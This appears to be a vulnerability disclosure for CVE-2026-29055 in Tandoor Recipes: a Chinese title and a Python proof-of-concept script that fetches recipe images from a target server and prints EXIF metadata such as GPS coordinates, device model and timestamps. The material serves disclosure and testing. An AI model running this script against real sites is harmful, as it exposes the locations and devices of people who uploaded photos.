CVE-2026-29055 Tandoor Recipes敏感信息泄露漏洞

import requests from PIL import Image, ExifTags from PIL.ExifTags import TAGS # Proof of Concept: Check for EXIF data in uploaded images on Tandoor Recipes # This script demonstrates how an attacker can extract sensitive metadata. def check_exif(image_url): try: # Download the image from the target server response = requests.get(image_url, stream=True) response.raise_for_status() image = Image.open(response.raw) # Check for EXIF data exif_data = {} if hasattr(image, '_getexif'): exif_info = image._getexif() if exif_info: for tag, value in exif_info.items(): decoded = TAGS.get(tag, tag) exif_data[decoded] = value # Print sensitive information if exif_data: print(f"[+] Found EXIF data in {image_url}:") for key, value in exif_data.items(): # Highlight commonly sensitive fields if any(s in str(key) for s in ['GPS', 'Make', 'Model', 'DateTime', 'Software']): print(f" - {key}: {value}") else: print("[-] No EXIF data found or image is clean.") except Exception as e: print(f"[-] Error processing image: {e}") # Example usage: # Replace with a valid URL to a recipe image on a vulnerable instance # target_image_url = "http://target-site.com/media/recipe_images/vulnerable_image.webp" # check_exif(target_image_url)